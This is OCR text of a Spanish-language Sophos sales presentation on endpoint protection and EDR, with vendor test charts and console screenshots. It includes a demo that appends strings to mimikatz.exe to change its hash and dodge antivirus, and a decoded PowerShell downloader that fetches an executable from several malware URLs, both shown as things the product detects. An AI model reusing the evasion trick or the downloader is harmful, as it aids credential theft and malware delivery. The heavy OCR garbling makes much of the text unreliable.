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Proteccion EndPoint tradicional
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Capas de proteccion “NextGen”
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Capas de ultima tecnologia
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Demos un paseo por fuera...
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¢Agentes ligeros?

Pablo Pérez-Minguez
Brilliant Deduction (Deduccion
orillante)
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¢Agentes ligeros?

Pablo Perez-Minguez
El mundo de Atlas
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éestamos seguro de ello?

SOPHOS



Veamos unos cuadros...

Angel Luque

[|_§' ante el mar
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Veamos unos cuadros...
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Veamos unos cuadros...

Inteligencia Artifical
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DEMO
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Bajamos Mimikatz

Blog de Gentil Kiwi

2.2.0 20190813 Carlos update

Q gentilkiwi re this on 14 Aug

Accueil kekeo mimikatz Présentations programmes A propos

mimikatz

mimikatz 2.0 vient de sortir en version alpha ¥ Assets 4
= binaires :
S mimikatz_trunk.7z
= PECORRE 1 mimikatz_trunk.zip
Pour les pressés cherchant des mots de passe... [} Source code |
A exécuter en administrateur : [£) Source code (tar.g
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Analizamos en Virus Total

< C & hitps//www.virustotal.com/gL

E dfea740b0589dbd058227d3fcablflaBd7bdaar3feab9a2cl157af31d95e0356f

(1) 52 engines detected this file

52

dfa740b0589dbd05

assembly overiay

e mimikatz
—_— G4hits

DETECTION DETAILS RELATIONS COMMUNITY o

Unsafe
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2 | VIRUSTOTAL

re them with the

pificosas_de_casa:




Operaciones ejecutadas

$ strings Juego Secreto.exe >> cadenas.txt
S cp mimikatz.exe Mi Mimikatz.exe
cat cadenas >> M1 Mimikatz.exe

$ sha256sum Mi Mimikatz.exe

f7b8d33f907cf5do06f2244f2ae93337706f422d1a934791eeb06
1845850d3f064 Mi Mimikatz.exe
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- 0

Adobe USBIBIZA S
Reader 9 VERAN...

mimikatz 2.2.0 x64 («

'

HEEEE mimikatz 2.2.0 (x64) #18362 Aug 14 2019 ©1:31:47
H# N ##. "A La Vie, A L'Amour” - (oe.eo)
## / \ ## /*** Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )

## \ / ## > http://blog.gentilkiwi.com/mimikatz
DB Browser  CHOPWIN... #E ov #ET Vincent LE TOUX ( vincent.letoux@gmail.com )
for SQLite THEHHE > http://pingcastle.com / http://mysmartlogon.com  ***/
’ - mimikatz #
Firefox Default k
Mozilla Default
Thunderbird

A B

VLC media forensic_sn...

player

64-Bit pruebas.sq...

Cueva salida.sqlite
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44 engines detected this file

1.02 MB 2019-11-15 11:11:12 UTC

DETECTION DETAILS COMMUNITY

Undetected

Sophos AV -f___':f' Mimikatz Exploit Utility (PUA)

Sophos ML (1) Heuristic
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One Agent
One Solution




3'd Party Validation

Enterprise
Protection

Small Business
Protection

SOPHOS

MRG Sffitas

EFFICACY ASSESSMENT & ASSURANCE

Malware
Protection

MRG Sffitas

EFFICACY ASSESSMENT & ASSURANCE

Exploit
Protection

Gartner

FORRESTER’

=/

RECOMMENDED

\4

Endpoint
Protection

= /

RECOMMENDED

Total Cost of
Ownership




Sophos #1 for Malware AND PUA Detection

e Malware & PUA Accuracy / False Positive .
M RG @fﬁtas Bl V<o B Foise positive

Efficacy Assesamant & Assurancs Behavior Blocked .True. ative

Comparative Protection Assessment Il 20 Boced
-—

ACCURACY / FP
o]
ACCURACY / FP

ACCURACY / FP
ACCURACY / FP

& &
: :
S g

MALWARE
MALWARE

SOPHOS v/ Symantec I McAfee @T“E"D i'f'. ) Sentinel N ST
B EEER B B D BRI

DHSPUTED

SOPHOS MRG EFFITAS COMPARATIVE MALWAREPROTECTION ASSESSMENT TEST FEB 2018



Sophos #1 for Exploit Prevention

Exploit Protection Test Results

SOPHOS ¥ symantec. W sertinel: e Microsoft PRODUCTA b McAfee “sm.crcwosTrike g Microsoft

Eaploit Suad

otal LEVEL 2
En N

warr - [ RN Bl EE EE

Tiskal Tzt gl

SOPHOS MRG EFFITAS EXPLOIT AND POST-EXPLOIT PROTECTION TEST May 2018



H SE Labs

Sophos #1: SE Labs Endpoint Protection Test

#1 for Enterprise #1 for SMB

EXECUTIVE SUMMARY EXECUTIVE SUMMARY

Protection Legitimate Total Protection Legitimate Total
Accuracy Accuracy Accuracy Accuracy Accuracy Accuracy
Products tested Rating (%) Rating (%) Rating (%) Products tested Rating (%) Rating {%a) Rating [}

Malwarebytes Endpaoint Security

Malwarebytes Endpoint Security -25% 100% 55%

SE Labs endpoint protection test reports (April - June 2018
SOPHOS P2l ports (Ap )



Sophos #1 for Protection AND Total Cost of Ownership

Comodo

F-Secure ’

Cylance

Symantec

Malwarebytes
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Bitdefender

Sophos

Endgame
Panda Security .

enSilo

. Carbon Black g rend Micro

Kaspersky Lab ]
Check Point () ® ® @ Fortinet

Cisco

e e Em o e s e e

SOPHOS NSS Labs Advanced Endpoint Protection Test - Mar 2019

100%

98%

96%

94%



Layered Defense

Intercept X Advanced with EDR

WEB CONTROL

WEB PROTECTION

PERIPHERAL CONTROL

DOWNLOAD REPUTATION

SOPHOS

SYNCHRONIZED SECURITY | INVESTIGATE & REMOVE DETECT & RESPOND
Heartbeat Threat Cases Al Expert Insights
Sophos Clean M with SafeStore | Cross-Estate Hunting
SophosLabs Threat Intelligence
PRE-EXECUTION BEHAVIOR ANALYSIS RUNTIME BEHAVIOR ANALYSIS

LOCAL PRIVILEGE MITIGATION

APPLICATION LOCKDOWN

MEMORY MITIGATIONS

CODE MITIGATIONS

APC MITIGATION

MACHINE LEARNING

LIVE PROTECTION

ANTI-MALWARE

ANTI-RANSOMWARE

CREDENTIAL THEFT PROTECTION

DATA LOSS PREVENTION

PROCESS PROTECTIONS SAFE BROWSING
POTENTIALLY UNWANTED APPS MALICIOUS TRAFFIC DETECTION
APPLICATION CONTROL



éque pasa con los ataques mas famosos?
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SOPHOS

((Nlﬂn,

Admin

@ Endpoint Protection

ANALYZE

[ Dashboard

n Logs & Reports

DETECTION AND REMEDIATION

ll Threat Cases

Q Threat Searches
MANAGE PROTECTION

}L People

- Computers
CONFIGURE
o Policies

ﬁ Settings

i Protect Devices

alan ALAN\worker

Analyze Lase recor

Filters: @ Processes (@ Files @@ Network connections @ Registry keys

@ 376 Riles
" 83 Registry keys Registry keys
J es T’\\\ )
\\ srent 10
parent to b D /’
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Scan the computer
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Windows Command Processor

Show full graph v

IP Addresses

[+
Write
Microsoft Powershe\‘. A

D

431.exe







2009 -07

Nacrrints
VEaUT APLAN

r

- . 3

Qb

dministr

“

0
™M
™~

®

pfecl2e

-

)

QO

Wi

CY)

an

ctamRant

-

(V4]

0
WV

0
)

! 0

($4)

ot ™

T
@]
L
o
Q
U




THEBESTE S SEEUTBETTER



¢Qué es EDR?

es un botdén que activemos y ya esta... \ .‘

Es un PROCESO de usar multiples
herramientas para DETECTAR amenazas
potenciales y RESPONDER a ellas.

EDR es algo que tu debes HACER.

SOPHOS 40



Behavior
Monitoring

Exploit
Prevention

SOPHOS
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Endpoint Detection
& Response
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¢Qué hace el EDR de Sophos

Facil de usar
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Respuesta a incidencias guiada

SOPHOS



Threat Hunting liderado por IA

Caza automatizada Casos priorizados

Help ~ Administrator ~

Endpoint Protection - Suspicious Events .

Overview | Endpoint Protection Dashboard ; Suspicious Ev

Suspicious Events Suspicious Events History

SOPHOS

Date detected

Oct 08, 2018 10:28 AM

Sep 19, 2018 5:01 AM

Sep 25, 2018 11:12 AM

Sep 28, 2018 1:37 PM

Oct 05, 2018 6:57 AM

Oct 06, 2018 8:04 AM

All categories

v | | Executed or not

Event name

Recipeaddictstool.exe

PasswordRevealer!gl

Packed.Generic.533

Tweetbot.exe

Quiver.exe

Dropper.exe

SHA

546ec58d0134eab4611e12d7e3aB67793e...

FA2F1C8562FC58584F79835F6FB803382...

038CAD4BA7ES30DA3F83DD1DBDA1S0B...

25B293193D0B4362CE46F7ADBASC346...

OF4ESBE14EDS650F2F03522DEAD34FC...

0078AF328DAEEEOB41ASE7CADG9A3ES...

Category

Malware

Malware

Malware

PUA

Malware

PUA

Executed

Yes

Yes

No

Yes

No

Yes

Latest t..

View

View

View

View

View

View




Analisis de amenazas por Sophos Labs bajo demanda

Process details : recipeaddictstool.exe

Process details ort summary ~ Machine learning a

Reputation at time Uncertain

v
I 2

Known bad reputation d reputation

Detectio

You should e this ite de ine whether it is harmful.

SOPHOSLABS Threat Intelligence

Current report created: Sep 25, 2018 PM
Request Latest Intelligence

»: Requesting the latest intelligenc Ll cause your files to be sent to Sophos for additional ana

2509 2018\ tool exe

SOPHOS Start Time:




) [Search foritem] [ Clean and block ]

Process details: dropper.exe Yhat does this do?

lisis d |
A n a I S I S e M a Wa re Process details Report Summary Machine leamning File properties File breakdown

analysis

SOPHOS Current report created: Jun 06 2018 12.45pm

Attributes €9 B7% suspicious

Attribute of Dropper.exe Seenin: Known bad files Known good files

Analisis de ficheros © s
gracias al Deep Learning

500K 205K

© unknown packs
1.0 Million 1.0 Million

€) Tiny code section

2.1 Million 980K

€ Noicon

86K 2 K

€) Usesencryption

Code similarity € ow bad items analysed

Dropper.exe
99%

XB9.exe
968%

TradeStationForms.exe

95%

ioguake3.x86_64.exe
89%

X1ServiceHost.exe
85%

miaa.exe
82%

OO0 e © 0O

OneDriveUpdater.exe

SOPHOS




Investigaciones guiadas

SOPHOS Endpoint Protection - Mal/ML-PE Marcus Jones -
Overview / Endpoint Protection Dashboard / Threat Cases
Admin
) Endpoint Protection
- i Q
ANALYZS Blocked and cleaned
WMarrisPC Outlook.exe Badthing.exe Detected
Dashboard 11.222.3345 Apr1220175:46AM  Aprl2 2017 S:46AM

B3 Logs &Reports

DETECTION AND REMEDIATION Summary Suggested next steps
h e Malware detected:Mal/ML-PE at C:\program files\WMorris\badthing.exe ® Set status and priority for the case New High
Q Threat Searches On:  WMorrisPC that belongs to William Morris
. Investigate 1 process we've marked with an "uncertain” reputation. See graph
Condition:  RAN CLEANED BUSINESS FILES INVOLVED .
- below for details
% Suspicious Events [JEETA v v 1
‘ ) . Isolate the computer while you investigate. €% )
Detection summary: The root cause tried to access a URL known to be associated Details
RANAGE with malware Scan the computer
Analyze
J4 People

SOPHOS



Respuesta a un click de raton

Clean and block &

You're aboul to clean up Lhis item on any compuler where we've found it and block iton all
your compulers.

Why are you blocking this item?

jClean and remove this suspicious file and blacinst it
SOPHOS Endpoint Protection - Search Details Marcus Jones ~ 6

Overview / Endpoint Protection Dashboard / Threal Searches / Threal Search Resulls / Search Details ABC Corp - Primay Admin
S Note: You can see Lhe items you've blocked or unblock them again in your Blocked Items

lisL

@) Endpoint Protection 3 of 3items found on Athomson Mac belonging to Anna Thomson

Create forensic snapshot

ANALYZE

SHA256 Hash Name v Reputation W Aclions

Dashboard

Instalier exe Uncertain P c\program files\a path name
B3 Logs&Reports

Genaerate threat case

DETECTION AND REMEDIATION Request threat Intelligence report
c\program files\a path name N —————

4o Threat Cases
c\program files\a second path name Aclions

Q Threat Searches c:\program files\a third path name Actions

c\program files\a fourthpath name Actions

fal Suspiclous Events

A a30 gger.exe are ) c:\program files\a path name which Actions
MANAGE ¢ SO RS Is long and will wrap In the table row
A8 People
] Computers

SOPHOS



Threat Analyms Center Threat Search Results

Threat Analysis Center Dashboard hreat Searches

Busquedas

Fi.eeo Metwork connections a

Search for: 1 tem View item

Admin tools @

Found 525 admin tool executions

Threat Analysis Center - Threat Search rier process name Filter date

Filter user name

Threat Analysis Center Dashboard

.-H.I’.- =W

t search Threat search examples

Search for potential threats on vour devices. You can search for file names, SHA-256 1
Searches find PE files (like applications) with uncertain or bad reputation and network

Searches also find activity by admin tools, which can be used maliciously.

file names, SHA-256 file hashes, IP addresses, domains or command Lir

SOPHOS

Process name

C:AWindows\System32
\WindowsPowerShell
\wl.0\powershell.exe

CAWindows\System32
\WindowsPowerShell
Wl .0\powershell.exe

C:AWindows\System32
\WindowsPowerShell
Wwl.0\powershell.exe

C:AWindows\System32
\WindowsPowerShell
wl.0\powershell.exe

C:AWindows\System32
\WindowsPowerShell
\wl.0\powershell.exe

Command Line

-ExecutionPolicy ByPass -File DisableAppsW10 psl

-ExecutionPolicy ByPass -File ScreenLock psl

powershell exe -command "Get-Cimlnstance -Namespace root\cimv2 -ClassN
ame msft_providers -filter \"provider = 'ProtectionManagement"\”
mMethod -MethodMame Unload”

Invoke-Ci

powershell -enco PAAJACAAaABOAHOACABzADoALwAVAHCADwWE3IAC4ABO
BpAGMAcgBvAHMAbwWwEmMAHQALgEjAGBALQAVACAAIWA+ACAAJABVAHMA
YOBiAGkAbABpAHOA=OBkAHMAbWASACCcACABhAHIAYOBKAGKAZwWBtAHM
AYwBrAGkAJwWATACOAUWBwWAGUAYwWBpAGE. .

powershell -enco PAAJACAAaABOAHOACABzADoALWAVAHCADwWB3IAC4ARO
BpAGMAcgBvAHMAbwWBmMAHQALgEjAGBABOAVACAAIWA+ACAAJABNAGBA
bgBIAHKAXWBNAGEAcgBrAGUAJABFAEEAYWBJAGEAdOBUAHOQAdgEYAGKA
POARAEMAbwBOAHOAbWBUAGOAdAB2ACC...

Time of execution

Sep 30, 2019 12:16 PM

Sep 30, 20191217 PM

Oct1, 2019 8:17 AM

Oct 3, 2019 11:02 AM

Oct 3, 2019 11:03 AM




Ejemplo de busqueda

Process name

hash

Command line
arguments

SOPHOS

Process sha2b6

Admin Tools - View Details

i

i ]

CAWindows\System32
\WindowsPowerShell\wl.0\powershell.exe

de96a6e69944335375dclac2383360668
B89dSffc7d73628ef4felblbl60ab32c

powershell -enco
PAAJACAAaABOAHQAcABzADoALwAVAH
cAdwB3AC4AbOBpAGMAcgBvAHMADbWE
mAHQALgBjAGBAbQAVACAAIWA+ACAAJ
ABVAHMAYOBIAGKAbABpAHOAe(OBkAH
MAbwAIACcACABhAHIAYOBKAGKAZwBL
AHMAYwBrAGkAJwATACQAUWBWAGUA
YwBpAGEAbABpAHMAdABpAGoAcgAgA
DOAIAANADgANAASACCAOWAKAFAADAB
hAG4AbgBLAHIAbwB1AGEAPQANAFQAZ
QByAHIAYQBJAGUADwWBIAGWAJWATACQ
AbOBpAG4AZABzAGgAYOByAGUAegBoA
GYAPQAKAGUAbgB2AD0AdOBzAGUACB
wAHIAbwBmMAGKADBABIACsAJwBcACCAK
wAKAFMACABIAGMAaOBhAGwAaOBzAH
0Aa0BgAHIAKWANRACAAZOBAAGUAJwA
7TACOAQwBYAGUAZABpAHQAXWBDAGEA
cgBkAFBAQOBAGMAbWB1AG4AdABpAH
oAcwAIACCAZOB4AGUAYWBLAHQAaQB
2AGUAdOBkAGoAJWATACOABOBhAHOA
cgBpAHgAcgBrAGMAPQAUACgAJWBUAG
UAdwAnACsAJWATAGBAYgBgAGUA WAr
ACcAYwBOACcAKQAgAG4AZQBUACAAd
wBLAEIAYwWBsAGKARQBUAHQAOWAKAEK
AcwBsAGUACOBBAGYAPQANRAGgAdABD

Copy process
name

Copy sha256

Copy command
line arguments

=

= Lo

9
10
11
12
13
14
15
16

—

<# https://www.microsoft.com/ #>

$Usabilitydso="'paradigmscki';

SSpecialistijr = '847";

$Planneroua="Terracewbl';

Smindsharezhf=Senv:userprofile+'\'"+$Specialistijr+'.exe’';

$Credit Card Accountizs='executiveudj';

Smatrixrkc=. ('new'+'-obje'+'ct') neT.weBcliEnt;

SIslegzf="
http://sysmobl .com/wp—admin/kl/epo312
@http://panelfiberton.com/wp—admin/f942/
@https://transporteselfenix.com/cgi-bin/s2qw2uii/
@https://girgle.com/wp—includes/zy2f473/
@http://avlaspa.com/8yntna/64ucl/’

LUSPLTITT(T@Y) ;

$Sharablesnf="'Licensedldo';

foreach ($Internalatz in $Islegzf) {

try({

Smatrixrkc."d oW NloAdFile" (SInternalatz, S$mindshar




Resumen
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Un dia en la vida de un analista

Threat Indicators: nos avisan de Veamos qué hace el element éDonde esta y quién lo ha
elementos sospechosos sospechoso ejecutado?

Create forensic snapshot §

c\program files\a path name

Obtencién de detalles via éEs malicioso el fichero?. Remediacion con “Limpiary

Sophos Labs Deep Learning lo dira Bloquear”
SOPHGS



iMe ha encantado, pero no tengo...
- tiempo
- conocimiento
- personal dedicado

- {Srandom excuse}
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